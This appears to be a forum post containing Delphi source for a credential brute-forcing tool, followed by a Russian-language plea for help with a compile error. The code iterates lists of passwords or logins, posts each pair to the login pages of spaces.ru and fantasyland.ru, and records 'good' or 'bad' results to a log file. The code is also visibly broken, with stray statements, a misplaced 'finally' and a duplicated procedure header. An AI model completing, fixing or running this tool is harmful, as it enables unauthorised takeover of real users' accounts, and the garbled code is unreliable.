var
Form1: TForm1;
i,y,s:Integer;
info,p:TStringList;
implementation
{$R *.dfm}
procedure TForm1.btn1Click(Sender: TObject);
begin
TStringList
info:=TStringList.Create
p:=TStringList;
if rb1.Checked then
for i:=0 to Mmo1.Lines.Count-1 do
begin
info.add('login='+edt1.Text);
info.add('password='+Mmo1.Lines.Strings[i]);
p.Text:=idhtp1.Post('[http://spaces.ru/mysite/]', info);
if pos('window.top.document.location.href=', p.text)>0 then
begin
mmo2.lines.Add(edt1.Text+';'+Mmo1.Lines.Strings[i]+ ' - ' + 'good');
end;
else
begin
mmo2.lines.Add(edt1.Text+';'+Mmo1.Lines.Strings[i]+ ' - ' + 'bad');
end;
end;
if rb2.Checked then
for i:=0 to Mmo1.Lines.Count-1 do
begin
info.add('login='+Mmo1.Lines.Strings[i]);
info.add('password='+edt1.Text);
p.Text:=idhtp1.Post('http://fantasyland.ru/login.php', info);
if pos('window.top.document.location.href=', p.text)>0 then
begin
mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'good');
end
else
begin
mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'bad');
end;
end;
if rb3.Checked then
for i:=0 to Mmo1.Lines.Count-1 do
begin
y:=Pos(';', mmo1.Text); //?????? ??????? ;
info.add('login='+copy(Mmo1.Text, 1, y-1));
s:=length(mmo1.Text); //?????? ????? info.add('password='+copy(mmo1.Text, y+1, s));
p.Text:=idhtp1.Post('http://fantasyland.ru/login.php', info);
if pos('window.top.document.location.href=', p.text)>0 then
begin
mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'good');
end
else
begin
mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'bad');
end;
end;
end;
finally
info.Free;
p.Free;
end;
procedure TForm1.rb3Click(Sender: TObject);
begin
if rb1.Checked=True then
begin
mmo1.Text:='';
edt1.Text:='';
mmo1.Visible:=True;
mmo2.Visible:=True;
edt1.Visible:=True;
lbl1.Caption:='Пароли';
lbl3.Caption:='Логин';
lbl1.Visible:=True;
lbl2.Visible:=True;
lbl3.Visible:=True;
end;
if rb2.Checked=True then
begin
mmo1.Text:='';
edt1.Text:='';
mmo1.Visible:=True;
mmo2.Visible:=True;
edt1.Visible:=True;
lbl1.Caption:='Логины';
lbl3.Caption:='Пароль';
lbl1.Visible:=True;
lbl2.Visible:=True;
lbl3.Visible:=True;
end;
if rb3.Checked=True then
begin
mmo1.Text:='';
mmo1.Visible:=True;
mmo2.Visible:=True;
lbl1.Caption:='log;pass';
lbl1.Visible:=True;
lbl2.Visible:=True;
end;
end;
end;
procedure TForm1.btn2Click(Sender: TObject);
begin
procedure TForm1.btn2Click(Sender: TObject);
begin
mmo2.Lines.SaveToFile('log.txt');
end;
end;
end.
Строка info:=TStringList.Create постоянно красная, помогите найти что не так.